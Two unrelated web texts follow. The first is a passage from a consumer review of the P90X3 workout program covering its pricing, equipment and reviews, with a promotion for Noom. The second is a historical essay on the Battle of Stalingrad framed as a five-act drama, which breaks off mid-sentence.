long-term memory. Improved memory is a benefit we didn’t expect. - JENB – There’s also at least one study that says the exact opposite. “These results suggest that high-intensity exercise may not improve cognition as effectively as moderate-intensity exercise.” - Journal of Sport and Health Science – But, high-intensity exercise is not for everyone. In obese individuals, “vigorous exercise can increase oxidative stress and blood neurotrophic factor levels and induce disruption of the BBB [blood-brain barrier].” Program developer Tony Horton has described muscle confusion as “a cross-training method that switches the order of exercises and incorporates varied movements.” It is claimed that muscle confusion prevents the body from adapting to exercises over time, resulting in continual improvement and limiting plateaus. P90X3 also uses Muscle Integration to maximize the metabolic effect. Whereas traditional strength-training uses isolation movements such as arm curls or shoulder raises, P90X3 integrates many compound movements to optimize the fat-burning impact. P90X3, like its predecessors, is an award-winning infomercial, and the product is primarily sold through these advertisements. The product has become so popular that several online and even in-store retailers carry P90X3 equipment and programs. The Company Behind P90X3 P90X3 was originally released in December of 2013. The company behind this fitness program, Beachbody, has been in business since 1998. Beachbody is based out of Santa Monica, California, and the current CEO is Carl Daikeler. The company sells many workout programs under the Beachbody umbrella, including: - P90X - Insanity - PiYo - 21 Day Fix - Shakeology Beachbody has live consultants available to take questions on their website. The Beachbody customer service number is 800-996-2819. We at DietSpotlight appreciate that P90X3 encourages regular exercise, and a 90-day satisfaction guarantee is posted on the website, but read on… Beachbody and the Better Business Bureau (BBB) - Rating: A+ - Customer Reviews: 1.81/5 (75 total reviews) - Customer Complaints Closed: 260 (last three years); 84 (last 12 months) Scroll below for one of the best products we’ve seen over the last year. P90X3 Claims P90X3 boldly promises users exceptional body composition results within 90 days. Before-and-After pictures and testimonials are peppered throughout their infomercials. The issue with all of the claimed benefits of P90X3 is that they are primarily reported by those with a financial stake in the company. There are no dedicated studies on the effectiveness of P90X3 or either of its predecessors. While many users have certainly had impressive results utilizing the program, it is difficult to measure P90X3’s effectiveness without knowing any diet or lifestyle information about most of the participants. What is the Cost of P90X3? One of the first questions would-be buyers tend to ask is, “How much is the P90X3?” The cost of P90X3 largely depends upon which “kit” the user purchases. The Base Kit includes 16 P90X3 workouts, the P90X3 Nutrition Guide, the P90X3 Fitness Guide, and a “free” Pro-Grade Resistance Band. The cost of the P90X3 Base Bit is three payments of $39.95 + $19.95 shipping and handling for an order total of $139.80. The cost of the Base Kit is in line with the cost of a three-month membership at most commercial gyms. The Deluxe Kit includes three additional workouts, two additional Pro-Grade Resistance Bands, and the E&E Energy and Endurance formula. This package is available for three payments $79.90 plus $34.90 in shipping and handling for an order total of $274.60. Lastly, the Ultimate Kit includes everything in the Deluxe Kit along with the Premium Beachbody Jump Mat, the P90X Results and Recovery Formula, the P90X Chin-Up Max plan, and the P90X Chin Up Bar. This Ultimate Kit is available for three payments of $109.85 and $39.90 in shipping and handling for a total of $369.45. The cost of any of the P90X3 kits is something that most consumers would have to consider. “A lot of people simply can’t afford $139.80,” said our Research Editor. “This workout program is much more expensive than alternative exercise DVDs and fitness options available online and in stores.” One customer who checked into P90X3 workouts said, “They want another 100 dollars for the other discs. Love Tony Horton and the program, but they are getting a little carried away with their prices.” “150 dollars might not be a lot to them. But I saved a long time for this… disappointment,” said another customer. Depending on the P90X3 kit ordered, some customers felt the price was just right. “Great price – so worth it for all that you get. Meal planning, as well as exercise videos, PLUS a set of resistance bands.” The program utilizes (but does not include) dumbbells, which depending on weight, can cost a purchaser anywhere from $20-$80. This is a cost that needs to be factored into the total price before investing in P90X3. Ultimately, the value of an in-home exercise program like this is in the eye of the purchaser. If the customer is diligent about using the program and following the dietary guidelines, any of the P90X3 programs could be a good investment. However, the cost of the Ultimate Kit is comparable to the cost of six-month gym membership in many areas, so the makers of P90X3 are asking for a significant financial commitment in exchange for their program and a few pieces of specialized equipment. What Equipment is Needed for P90X3? In addition to the workouts and the ability to do at least scaled-down versions of the movements described, a P90X3 user will need several resistance bands, one or more sets of dumbbells, a portable or stationary pull-up bar (as well as a place to put the bar), and an exercise or yoga mat. You will need a computer, DVD player, and/or television on which to play the workouts, as well as some space to complete the workouts. Potential buyers should be aware that the dumbbells, exercise mat, and pull-up bar are not included in the purchase price of the P90X3 Base Kit program. The details of the various P90X3 “kits” are discussed below. Where Can P90X3 Be Purchased? P90X3 can be purchased directly from the company or via third-party online retailers such as Amazon. What Do the P90X3 DVDs cover? Each of the 16 DVDs in P90X3 is dedicated to one of the unique workouts. Depending on which kit or promotion the customer purchases, additional “bonus” DVDs (such as the “How to Accelerate” bonus gift DVD) can be included in the bundle. Most of the workouts in P90X3 are generally 25-30 minutes in length with 2-3 minutes for warm-up and cooldown. P90X3 Workout Comparison P90X3 vs. Focus T25 These two programs are in-home programs that can be completed with minimal equipment. P90X3 utilizes “muscle confusion”, meaning that the body is constantly required to adapt to new stimulation. One of how P90X3 differs from the T25 program is the number of workouts. While T25 places workout intensity above all else, P90X3 uses workout variety as its main weapon. T25 uses two blocks, an Alpha and Beta phase, while P90X3 uses three 30-day blocks. The structure of P90X3 might help some users with compliance, as they can constantly see the light at the end of the tunnel. Both programs use similar equipment (dumbbells, resistance bands, and a portable pull-up bar). Both programs, along with Insanity, are products of Beachbody LLC. P90X3 Workout Difficulty Numerous customers complained about the difficulty of P90X3 workouts. For example, one user stated, “I am really disappointed that there are not more beginner modifications shown.” Another customer said, “These workouts are very hard on the hips and, even with the modifications, are not ideal for anyone with any hip problems. I wish I knew that before ordering.” We did manage to find quite a few people who were happy with P90X3 workouts. As one put it, “30 minutes is enough. . . sometimes. Still a great effort from Tony!” According to our extensive research, if there is some specific part of a fitness program or dietary supplement that is especially troublesome (a painful/difficult exercise routine, bad taste, serious side effects), the probability of long-term success is slim. If P90X3 workouts are hard for a lot of people to do, this could be problematic. What are the Workouts in P903x? As noted above, P90X3 rapidly cycles through workouts in the interest of maintaining muscle confusion. Here is a quick breakdown of what each workout entails: The Warrior The Warrior is a military-inspired workout in which the user continuously cycles through intense body-weight calisthenics, including squats, lunges, jumping jacks, and push-up variations. It is intended to burn fat, improve conditioning, and build lean muscle. P90X3 Total Synergistics Total Synergistics is a 26-minute workout paired with a three-minute warm-up and three-minute cooldown. The workout incorporates some yoga movements but is generally performed at a higher intensity than the P903x Yoga workout. Total Synergistics is taxing on the muscles and requires great core strength to complete. P90X3 Agility X In the Agility X workout, there are 18 exercises, and each runs for 60 seconds with short breaks in between each. The workout follows a pattern of alternating a plyometric exercise with either a balance/coordination/strength exercise or an agility sequence. The Agility X workout requires tape and a decent amount of space. The user bounds and jumps through the workout, creating a heavy oxygen demand and taxing the muscles. Assuming the user can complete the exercises (or modified versions of them), there is significant fat-burning potential in agility and plyometric work. A study posted by the Journal of Sports Science and Medicine (JSSM) on the relationship between agility and plyometrics determined that plyometric work improves agility in athletes and vice versa. While the workouts in the P90X3 program are varied and seem somewhat random, there is a method behind them. Improving one capacity within the body (strength, agility, plyometric power, cardiovascular conditioning) frequently improves other capacities. While the science behind muscle confusion is still up for debate, the carryover from training multiple energy systems is not in dispute. P90X3 Yoga Many fitness professionals are coming to understand the value of yoga and stretching within the context of an otherwise well-rounded exercise program. P90X3 is also on-board, providing a yoga program as an active recovery and balance/flexibility day. This is probably a smart addition to a program as intense as P90X3. One reviewer reported that “the poses were pretty basic, so an experienced yoga enthusiast might not think it’s intense enough.” But the reviewer also stated that she “also really liked the flow of each move to the next. There was a nice balance of balance and core strength to go along with the stretching.” While the Yoga workout in P90X3 might be a bit simplistic to some, it was written for people with minimal yoga experience. As with many of the movements in the program, the Yoga workout can be scaled up in intensity by more experienced users. P90X3 CVX P90X3 CVX is cardio exercise plus weight training with very short rest periods between sets, otherwise known as metabolic resistance training or MetCon (metabolic conditioning). The theory is that one will burn off more calories lifting weights at a cardiovascular pace than he or she would with traditional strength training or cardio alone. CVX has four rounds of exercises. In each round, you’ll do the exercise grouping two times before moving to the next round. On the second set, you’re challenged to go faster and bigger with the moves. You get a short break after the second set in each round. Each exercise is performed for one minute. Eccentric Upper + Eccentric Lower In exercise science, the term “Eccentric” refers to the lowering component of a given movement. The antagonist muscle in a given group or pairing lengthens, while the agonist (or primary) muscle contracts. For example, in a biceps curl, the biceps muscle contracts, which forces the triceps (the antagonist’s muscle) to loosen and lengthen. As the barbell or dumbbell is lowered from a contracted position back to the start position of the movement, the biceps muscle undergoes an eccentric movement. Exercise movements are broken down into concentric, eccentric, and isometric portions. Eccentric exercise is perhaps the most damaging to muscles. P903x has chosen to incorporate specific training days focusing on eccentrics, and the science behind this idea is sound. One study that can be seen in the Journal of Traditional and Complementary Medicine looked into the effect of eccentric training on glucose tolerance. The group found that “…muscle-damaging exercise effectively improves glucose tolerance independent of CK (creatine kinase) surge. This finding implicates that metabolically weaker muscle fibers are replaced by newly generated cell population after muscle-damaging eccentric exercise.” You don’t need to fully understand the science behind eccentric training in order to reap some of the benefits. Just understand that eccentric training is backed by solid research, and moderate use of eccentric training is probably a smart inclusion in a good resistance training program. P90X3 Workout Structure Here is a sample block from the P903X program: P90X3 is a 6-7 day per week program. This obviously requires a serious commitment from someone dedicated to losing weight or dropping fat. P90X3 Workout Calendar Here is what a week of PP90X3 might look like: The P90X3 program consists of 16 workouts, broken down into six Resistance Workouts, three Power Workouts, three Cardio Workouts, and four Core/Flexibility workouts. Although a calendar does come with the set, there are also some alternative ones available online. Who Can Benefit From P90X3? Most people with a good athletic base can benefit from the P90X3 workouts. Because the workouts are scaled in intensity, a relative beginner or an experienced mixed martial artist could benefit in some ways from the P90X3 workouts. Because these workouts are fairly intense, they are not ideal for people with pre-existing injuries or medical conditions. If you have any medical conditions, talk to your doctor before beginning P90X3 or any exercise program. According to the Journal of Obesity and the British Journal of Sports Medicine high-intensity intermittent exercise may be able to prevent obesity. It may also help cholesterol levels, per the Journal of Exercise Rehabilitation. The Journal of Diabetes Research noted that HIIT could cause abdominal fat reduction. More research is needed to confirm these effects, per Obesity Science & Practice. P90X3 Pros and Cons As with most fitness programs, P90X3 has strong and weak points. Here is an overview of the Pros and Cons one can expect with P90X3: P90X3 Pros - The workouts can be done in your home on your schedule. For many people, this increases convenience and effectiveness. - Intensive, condensed, and effective workouts. - Works within the confines of a busy schedule. - Sixteen workouts provide variety and prevent repetition, boredom, and plateau. - The P90X app makes tracking progress very efficient. - The P90X3 program can be easily modified based on a user’s fitness and experience levels. - Workouts require minimum equipment. - Fitness goals can be tailored very specifically to the user. - The P90X3 program works with a number of dietary approaches. The program includes a vegan diet option. P90X3 Cons - The initial cost of the P90X3 DVD set is considerable for a home fitness system. - Some people might thrive better with the support network generally found in a gym or group setting. - Commercial gyms will have access to a wide variety of equipment. - While P90X3 may be effective for fat loss, it is not an ideal program for muscle mass gain. Did We Find Any Science Behind P90X3? While Beachbody does boast serious slimming results and fat loss with P90X3 workouts, we at DietSpotlight didn’t find any real clinical evidence to support this as a program that is more effective than the numerous alternatives available today. At least for us, we have to see published, scientific data about the product or fitness program that reinforces weight-loss claims. However, according to the Centers for Disease Control, physical activity of any kind is beneficial, and most individuals should attempt to do moderate-intensity aerobic activity. What Users Are Saying “What can I say about Tony Horton, the man is a beast! These workouts are hard but only 30 minutes and there are enough variety and difficulty level I think anyone can get in shape using them. It ‘s so easy to follow and both I and my wife are well on our way to losing weight, feeling great and hopefully will win the weight loss pool we are in with her family!” “Kick your own ass for 30min/day 6 days a week for 2 out of three months and lose all your baby weight like I did. Then pull it out periodically when you find your self discipline unraveling. Tony Horton is cheesy but he’s a damn good trainer.” “Great 30 minute workouts!” The Bottom Line on P90X3 Workouts Well, have we already added P90X3 workouts to our shopping cart? While it’s always exciting to see a new fitness program from Beachbody, and we appreciate the longevity of this company, but we have reservations giving our recommendation for this one. After all, there are no scientific studies or weight-loss research to support it. Furthermore, difficult exercises and high prices are not suitable for a lot of customers. If you’d like to drop more pounds of fat and slim down, then we advise you to choose a fitness program that is backed by clinical research and a proven fat-burning ingredient blend. Among the best weight-loss apps we’ve seen this year is one called Noom. With personalized meal plans, human coaching, interactive support groups, and extensive food and exercise tracking, Noom allows its users to make healthier choices and lose weight along the way. Plus, the makers of Noom, in quite the show of confidence, are offering Dietspotlight readers a free trial offer, a good sign.Learn More About Noom » I lost 65 pounds on the regular P90 version. Yes, these programs work if you don’t cheat. After the initial cost of the program, thats it. There is no hidden monthly subscriptions. Roger (Verified Purchase) I’ve done P90X3 three times and, yes, it works. Each time I lost weight and became more toned. I did not add a lot of muscle, but my focus was on fat burning, so I was happy with the program. Also, it was nice to be covered in sweat after just 30 minutes of working out. Regardless, of the particular exercise day, I always felt I was getting in shape. I am about to start the program for the 4th time. Mike (Verified Purchase) I actually enjoy this program and the first time I did the 90 day cycle, I lost about 17 pounds. It works, but you can’t go half-speed. Diet is more important though. You don’t need a scientific study specific to P90X3 to know that the program will work, if you follow it as recommended (workout schedule + nutrition plan). The scientific research behind regular exercise and a healthy diet already exists. Sure, you can achieve results by creating your own workout plan, and watching what you eat; but the beauty of P90X3 is that they’ve taken the guesswork out of it by providing a diverse range of workouts- which keep you interested, and guarantee that you’ll be done in 30mins. It’s pretty cheap (compared to even the most inexpensive of gym memberships), and it provides a ton of convenience. I Love P90X3 and yes its intense but once you make it through the 1st week which is the toughest you will be OK, commitment is everything and self discipline will get you the results you need. I’m 41 and I lost about 17 pounds with a normal diet (No Protein Powder) just good old food and I feel Great!!! Highly recommended it but you do have to analyze if your specific body can handle 30 minutes of non-stop hardcore exercise. Besides that your in for a treat” Thank you! It was a wonderful chance to visit this kind of site. I hope you will publish more on this topic. Thanks a lot for sharing with us!

WARNING: This article contains themes of historical warfare that some readers might find distressing. If the events of the Second World War were mapped onto a Shakespearean five-act play, Hitler would be an obvious choice for a modern Macbeth. Indeed, a Google search pairing the two turns up over two million results. In terms of plot structure, Hitler's demise at the end of the fifth act in April, 1945 - after the Red Army and the Western Allies closed in like Birnam Wood coming to Dunsinane - all fits the play analogy well. The starting point for this grand drama is also straight-forwardly intuitive. Following some exposition about German post-World-War-1 grievance, the September 1939 invasion of Poland would launch the story. But the parallels do not end there. Besides the ‘inciting incident’ of the Poland invasion, and the climactic 1945 Battle of Berlin, there is another way in which these real and fictional dramas match up. ‘Into the Woods: A Five-Act Journey into Story’ by John Yorke features an analysis the midpoint of Macbeth’s plotline. Yorke says that a successful story like this usually has a significant event or change of fortune for the protagonist about halfway through it. In this case, Macbeth’s murder of his former friend and comrade Banquo performs this dramatic function. It occurs exactly halfway through, in Act 3, scene iii, and ends with the escape of Banquo’s son Florence. Macbeth himself, Yorke shows, understands that after this has happened there is no chance of turning back. Having killed the king of Scotland and stolen his crown, Macbeth is haunted by Banquo’s ghost and the prospect that one of his descendants will end up on the throne instead. But what of the real-life drama of World War 2? What was its murder-of-Banquo midpoint moment? Since the war was fought on multiple fronts, there is no strictly correct answer. One could point to several equivalent events that happened in different places. Churchill famously said that before the Battle of El Alamein there was no victory, and after it no defeat for the British and their Western Allies. That wasn’t strictly true since they had defeated the Italians in battle before that, as Andrew Roberts points out in 'The Storm of War'. However, the Allies certainly seem to have experienced a general change of fortune in the Africa campaign around 1942. Roberts also argues that Hitler’s prospects really worsened earlier than this, in December 1941. It was then that he foolishly declared war on the US after it entered the conflict against Japan, in the political and literal wake of the Pearl Harbor attack. Anthony Beevor agrees, pointing also to the concurrent failure by the Germans to capture Moscow as another turning point on the road that led to Nazi defeat. Though he also says that this was only a change in direction geopolitically, industrially, economically and demographically. It did not become clear to those involved that the proverbial pendulum was about to swing the other way until slightly later. Instead, this psychological turning point, Beevor says, occurred not at Moscow in December 1941, but the following year, at Stalingrad. In terms of the analogy presented here, the timing of this battle could not be better. It started almost exactly halfway through the war, in August, 1942. It was also suitably grand. In ‘Warfare and Armed Conflicts’, Michael Clodfelter compares it to Verdun and the Somme in World War 1, battles so huge they were practically wars in and of themselves. While Stalingrad was not the longest of these three campaigns, Clodfelter concludes from the available data that it probably was the bloodiest. It also began with a superlative: the largest air and ground bombardment up to that point in the eastern front campaign. Before it came, the 600,000 citizens of Stalingrad had been living in a model city, replete, Beevor says, with gardens along the high banks of the Volga. The city was unusual geographically in that it hugged the river so closely that it was 25 miles in length but only five in depth, and so it was naturally subdivided. The northern third was industrial, with factories like the Red October Steel Plant and Tractor Factory. These had switched over by this point to war production, cranking out T-34 tanks, amongst other things. In the south, there were tall white cubist-style apartment buildings. And the middle of the city had a Tartar burial mount known as the Mamayev (or Mamaev) Kurgan, on which people were out having picnics when the German attack began on Sunday, August 23, 1942. Beevor describes how the 1,600 sorties* launched that day blanketed the city with 1,000 tons of bombs. (*A sortie is a single trip out on a mission and back again by a given aircraft). Air raid sirens wailed from within the city, though at first it was not clear if this was a false alarm. Citizens soon learnt that it was not: apartment buildings became infernos, Beevor says, concussed so severely by bombs that even while they remained standing, internal floors collapsed, burying many alive. Streets running parallel to the Volga throbbed with terrified, scattering refugees, scrambling to find cover in cellars or amongst gardens and courtyards when more bombs fell. Wooden houses in the south west of the city went up in flames, mothers were left with dead babies and children with dead parents. And after petrol tanks besides the Volga were struck, they sent flames a kilometre and a half into the air, leaving behind a column of smoke visible for 200 miles. One German airman whose plane was hit parachuted down only to float helplessly into the raging fires below. About 40,000 people died in these initial attacks, roughly seven percent of the pre-battle population. It was just the beginning. Many more civilians would become casualties, abandoned and stranded in the city thanks to their own side. Stalin ordered that there should be no general withdrawal, lest it demoralise fighters and the wider Soviet Union. And the NKVD commandeered boats so they could ferry supplies and reinforcements across from the east bank of the Volga, trapping many of those on the western side. Some civilians did get out, but many others remained stranded. The NKVD, the People’s Commissariat for Internal Affairs, were the Soviet security police and they enforced discipline with an iron fist. The attitude of some of these officers about the kinds of brutal activities they carried out might be guessed at from an interview with Vladimir Ogryzko. He was a veteran of the war and former NKVD member who spoke on the BBC program ‘War of the Century’: “Blocking detachments played a psychological, morale-supporting role. They instilled a sense of responsibility in our soldiers, especially the officers, so that they held the front-line and did their duty. We forced them to fight to the death. If they resisted or ran away, we eliminated them. We shot them, that’s all. They weren’t fighters any more. It was hard, it was bad, I understand, but what can you do?” Blocking detachments, or blocking groups, were NKVD units that shot down men fleeing the battlefield. Ogryzko was referring to a different battlefront, though one presumes many members of the NKVD at Stalingrad had a similar view of their work. Around 13,500 Soviet soldiers were also formerly executed during the battle for offences such as cowardice and treachery. In contrast to the immediate fire brought upon fleeing troops, it was usual practice to force these unfortunate souls to strip naked before they were shot dead by a firing squad. That way their uniforms could be passed on. (The Germans were not much better. They sentenced many thousands of their own troops to death as well over the course of the war. The British policy of execution by firing squad was not used in the Second World War. When it was used in the First, comparatively few men, 306, were actually executed). Soviet strongarm methods like blocking detachments are depicted in the film ‘Enemy at the Gates’, which is based loosely on the William Craig book of the same name. (The movie adopted its title). The film centres on a fictionalised version of real-life sniper Vasily Zaitsev, who participated in the battle of Stalingrad. Beevor has said that, atmospheric battle scenes aside, the film has its inaccuracies. (More below). The following clip shows Zaitsev (played by Jude Law) journeying across the Volga to the city on its west bank. Law and his comrades are kept aboard boats at gunpoint while German Stuka dive bombers scream down in relentless attacks. The Germans made a point of targeting reinforcements and supplies as they bobbed across the Volga, both by air and with ground fire once they got within range. Beevor describes the Soviet soldiers as riding into an image of hell, with fires raging on the opposite bank as they approached, casting sinister shadows of mangled buildings once the sun went down. Decomposing bodies piling up in the city also emitted a stink that made its way to soldiers’ nostils as they crossed the river. When they got to the other side, these sights and smells, nor threats from NKVD men, kept them from rushing ashore to fight. They knew that the longer they stayed on their boats, the more likely they were to get picked off by enemy fire. With violence at this intensity throughout the battle, it is little wonder that only a fraction of those who entered the fighting early, on either side, made it to the end. Beevor gives the example of the Soviet 13 Guards Rifle Division that was engaged at this early phase of the campaign, in September, 1942. 10,000 men made up this unit at the outset of their involvement in Stalingrad. By the end, a mere 320 had survived, a rate of just 3.2 percent. Intense fighting raged throughout the city, with different areas contested for different reasons. Thanks to the advantageous sight lines it permitted, the Mamayev Kurgan - the hill in the centre of the city – changed hands multiple times. When it was held by the Germans, it facilitated firing upon enemy boats crossing the Volga. And once in Soviet possession, it could be used to frustrate the German advance. Another site of particularly dogged combat was the enormous grain silo just down river. This was a concrete dome and so of great use as a defensive position to anyone who held it. Come September 18, that meant a mere 50 or so Soviet troops, left clinging on with no water in the dusty, cough-inducing interior. Two days after that, they had no grenades or ammunition for anti-tank weapons left either. When the Germans poured in, even their small-arms ammunition was rapidly dwindling and they fired whatever bullets they had through the darkness, in the direction of enemy sounds. Then the survivors escaped, leaving any wounded. General der Panzertruppen** Friedrich Paulus, commander of the German 6 Army, the main formation that attacked Stalingrad, commemorated the victory at the grain silo by having its image incorporated into an arm badge. (**A tank corps lieutenant general). While this gesture came out of the deep resonance the battle had, and would have, for his troops, it was also meaningful in a much broader sense. For just as Stalingrad ended up at the chronological centre of the Second World War, there is also an extensive backstory to its geography - one that involves the grain silo and helps explain just why it was that Hitler attacked Stalingrad, and the Soviet Union more generally. The story starts with nomads. In ‘Origins’, Lewis Dartnell explains that past invasions in this area had generally come out of the inner steppe and were aimed at Europe and the Asian coast, not the other way around. The main reason for this was the sheer enormity the Eurasian land mass. This causes a climatological contrast between its coasts, which are wetter, and its interior, which is drier. Its margins were therefore always more amenable to settled, agricultural communities which could be more easily supported by regular rainfall. Meanwhile, its inner steppe was better suited to horse-borne nomads, whose mounts could be fed on the grass that grew in the drier climate of the great sweeping plains. This created a pattern whereby nomadic invaders like the Huns and the Mongols would harass settled civilisations like Rome and Ancient China. The trigger was usually population explosions or climate change that put pressure on the nomads’ own food supplies. Sometimes the nomads conquered and settled, but more often than not they took what food they needed and left. Soil cultivated for agriculture wasn’t much good for grass-fed horses. Yet, like the grass, this process bore its own seeds - those of its eventual destruction. One by-product of Mongol expansion was the wider dissemination of gunpowder technology. When the settled societies learnt to combine this with better organisation, planning and logistics, it enabled a military revolution in which the Mongols were metaphorically and literally outgunned. The agrarian societies could then move further into the Eurasian interior, cultivating the soil there as they went. Centuries later, this whole process was repeated, but in reverse. When Germany and its Axis allies plunged into the enormous Soviet empire at the start of Operation Barbarossa in June, 1941, grain was one of the main resources they sought. The intention was to settle, and in so doing, to create a wider Germanic empire, the limits of which were originally intended to extend up to the Volga. This was meant to create lebensraum, or ‘living space’ for the Germans, establishing the food, material and territorial security Nazi doctrine called for. To Hitler’s mind, this had all been severely and dangerously undermined by interwar economic problems, which included the disruption of international trade. (An issue exacerbated by Allied economic pressure once the war had started). Peter Frankopan’s ‘Silk Roads’ is a history of the world centred on the trade routes traversing this region. Like Dartnell, he too examines the later Nazi interest in its resources and quotes Hitler as having urged those around him to do whatever it took to acquire this rich territory: “‘Close your hearts to pity,’ he said. ‘Act brutally. Eighty million people (the population of Germany) must obtain what is their right. Their existence must be made secure’.” Frankopan points out that in this instance, Hitler was referring to Poland, but also that the sentiment applied equally to the Soviet Union. War of the Century features a quote from Hitler displaying similarly brutal and racist logic: “It is inconceivable that amorphous masses which contribute nothing to civilisation occupy infinite tracts of a soil that is one of the richest in the world.” Grain was certainly one major resource coveted by Hitler, though oil was another, and this was to be found in the Caucasus, the corridor of land between the Black and Caspian seas. ‘Case Blue’ was a sub-operation of the larger Barbarossa campaign aimed at capturing these oil fields. Stalingrad featured within it because it was on the left flank of the forces sent south after the oil. This, at least, was the official rationale for attacking the city, along with the requirement to capture the Volga so that Soviet river traffic could be interdicted. Yet, there was also another advantage to holding the Volga at the city of Stalingrad in particular: it bore the name of Hitler’s arch nemesis, the Soviet dictator Joseph Stalin. In a speech he gave on November 8, 1942, Hitler claimed this was coincidental, but Beevor indicates that the battle for the city either was or became deeply personal for the Fuhrer. He boasted about “Stalin’s city” publicly, and, at one point, Paulus also claimed that Hitler was obsessed with the symbolism of it all. It certainly makes sense that ideology was another major driver of the campaign. Putting Hitler and Stalin’s politically-expedient, pre-war friendship aside, the two men represented mutually exclusive and hostile ideologies. These were Nazism, which was fascism as it manifested in pre-war Germany, and Soviet communism. The former was racially and nationally chauvinistic, patriarchal and hierarchical – again, of race and nationhood primarily, though it also preserved existing social hierarchies. Its most enthusiastic adherents were those high in Right Wing Authoritarianism (RWA), a personality type researched by psychologist Robert Altemeyer. Wikipedia says of his work on the topic that the personality features: “(i) Submission to legitimate authorities; (ii) Aggression towards minority groups whom authorities identified as targets for sanctioned political violence; and (iii) Adherence to cultural values and political beliefs endorsed by the authorities.” Counter-intuitively, in his book ‘The Authoritarians’, Altemeyer notes that studies in the 1990s on Communist Party members in the former Soviet Union showed that they too were high in RWA traits. Though this does not seem as strange when one considers the nationalistic passions that rose in response to the German invasion, and that were further encouraged by the Soviets in what they dubbed the ‘Great Patriotic War’. However, communism was also clearly driven by Marxist principles, shaped and defined by a fierce and obsessive egalitarianism. It was also essentially an internationalist movement. Stalin’s predecessor as leader of the Soviet Union, Vladimir Lenin, “wanted to establish a worldwide communist society that would transcend national states altogether”, says Robert Paxton in ‘The Anatomy of Fascism’. The fanatical nationalism of the Nazis could only ever make international socialism completely detestable to them. And in fact, Paxton points out that a major factor in the rise of fascism was that it provided a right-wing populist (i.e. of the people) and nationalistic alternative to socialism. Hence, national socialism - the name of the Nazi Party when translated to English. So while German fascism and Soviet communism resembled each other in that both were extreme and collectivist, their devotees also despised one another. Underneath their authoritarian carapaces, they were diametrically opposed. On an emotional level, Nazi ideology simultaneously fused a mythic past with more recent ideas like Social Darwinism. At the same time, it was intended that German ‘greatness’ would be re-awakened through a war of nationalistic rejuvenation. Inherent in these concepts was first that war had intrinsic value, since it bound the nation together in a great feeling of togetherness and provided meaning and purpose. Fascism required continuous aggressive expansion to provide the populace with the “privileged relation with history” it had been promised, Paxton explains. Second, war provided the justification, in the Nazi mind set, for the destruction or removal of internal and external enemies. In the Nazi case, that meant Jews and the Slavic peoples of the east, who they also held in distain (again, doubly so since they also happened to live under a communist regime.) Thus, the campaign against the Soviet Union and Stalingrad is only truly explainable as both a strategic and an ideological mission. Peter Antill sums it all up in ‘Stalingrad 1942’: “Despite the temporary normalization of relations between the two countries before the outbreak of the Second World War, Hitler always intended to attack the USSR in order to destroy Nazism’s main ideological opponent, to gain the economic, industrial and agricultural resources of Eastern Europe and also to induce Britain to make peace by demonstrating absolute German control of continental Europe.” Hitler’s plan, Antill says, was to knock out his racial and ideological enemies in the Soviet Union with a one-two punch. This was meant to first draw in and destroy Soviet forces as they rushed to defend the resource-rich western Soviet Union, and then to finish them off by capturing the capital, Moscow. Of course, as we know, the Soviets eventually went back to the strategy of retreating and forcing the Germans to stretch out supply lines. In a sense, geography came to the rescue as it had when Napoleon invaded in 1812. This time, though, the Soviets were learning not just to pull back their forces but to relocate and rebuild whole factories, even while industrial output continued to soar. In 1942, average Soviet tank production was 2,200 per month; average German was just 500. In this way, the vast tracts of land Hitler sought were both a prize and a trap, entangling his forces to such depth that they would never fully recover. Which must also explain not only why the campaign happened, but also why it was the turning point – the third act of World War 2. This of course contrasts with strategy at Stalingrad itself, and Stalin’s insistence that there be no abandonment of the city, which in the end turned it into the rock, so to speak, on which Hitler’s forces broke. To accomplish this, Soviet soldiers used the broken cityscape to their advantage, withdrawing not into an enormous steppe, but instead into the ruins. The battle raged amongst buildings and rubble, now used to break up and funnel the German formations into kill zones. Here, they could be ambushed by pockets of Soviet soldiers or tanks like the T-34, used as camouflaged and concealed gun emplacements. The house-to-house, factory and street fighting also played out, by necessity, at the level of smaller formations. Paulus’ German 6 Army and the Soviet 62 Army, commanded by General Vasily Chuikov and tasked with holding the west bank of the Volga, were no longer the dominant formations. Neither were corps, divisions, brigades or even battalions, regiments or companies. Instead, the fighting at Stalingrad was often carried out by platoon or section-sized units (which is to say groups of a dozen or so, or perhaps up to around 40 men). The Soviets engaged their enemies at what were sometimes intimate distances, perhaps only a few yards. Due to the city’s layout and the degree to which the Germans had advanced, whole battlefronts were often as narrow as a few hundred yards. This proved advantageous to the Soviets, since it removed the otherwise potent weapon of German air superiority. After the initial air assaults on the city, the Luftwaffe could not engage the Soviets for fear of hitting their own troops nearby. Blitzkrieg had become Rattenkrieg, ‘rat war’. The intimacy of fighting in the city also lent itself to deployment of just about the smallest formation of all - sniper teams. Again, the film Enemy at the Gates gets a certain amount of this aspect of the fighting correct. Beevor says it was certainly commonplace for Soviet snipers to work in pairs, and to target German food carriers, since that put pressure on men on the front lines. (In the clip below, a Soviet sniper targets a telephone repairman). Furthermore, Texas A&M University’s Roger Reese explains in his review of the film that relationships between male and female Soviet fighters of the kind depicted did occur in reality. (Unlike the patriarchal Germans, the Soviets used hundreds of thousands of women in combat roles). Though, like most films, there are also inaccuracies. Beevor says that the main thing the film gets wrong is the sniper duel between Zaitsev and the German sharpshooter Major Konig (played by Ed Harris.) Records indicate that Konig never really existed and that the story was therefore a product of Soviet propaganda. Also, while Zaitsev is the most widely known sniper, he was not actually the highest scoring, achieving 149 kills by late 1942, as compared to 224 by a sharp shooter known as ‘Zikan’. Claims about other inaccuracies can also be found online. An IMDb page on ‘Enemy at the Gates goofs’ has one comment referring to the fact that the NKVD men who shoot down fleeing soldiers are wearing regular army uniforms. Though Reese notes that the Red Army did form its own blocking detachments as well, so perhaps this particular scene was not a goof after all. Reese does have his own list of problems with the film, however, such as the lack of proper military command for Zaitsev beyond that the political officer played by Joseph Fiennes. Even if snipers did work in pairs, their work would have been far more coordinated and directed than it is in the film, he says. For his part, Beevor’s book on Stalingrad of course makes no mention of the Russian child murdered by the evil Major Konig in the film. What he does say is that Soviet soldiers committed similar atrocities themselves. With snipers hiding throughout the city, some German units used children who had been stranded there as water carriers, getting them to refill their water bottles from the Volga. Soviet soldiers ended the practice by simply shooting the children instead. Shocking as this is, it was only one horror amongst a whole campaign full of them. There was also the extreme, biting cold of the winter, gangrene, disease and, perhaps most revolting of all, lice. These found their way onto men across 6 Army. They were numerous enough that they sometimes needed to be pulled off in clumps and flung into a nearby fire when a soldier was operated on in a medical aid post. Orderlies and medics might also witness large numbers of them crawling off a soldier who had died, wriggling away in search of new, living 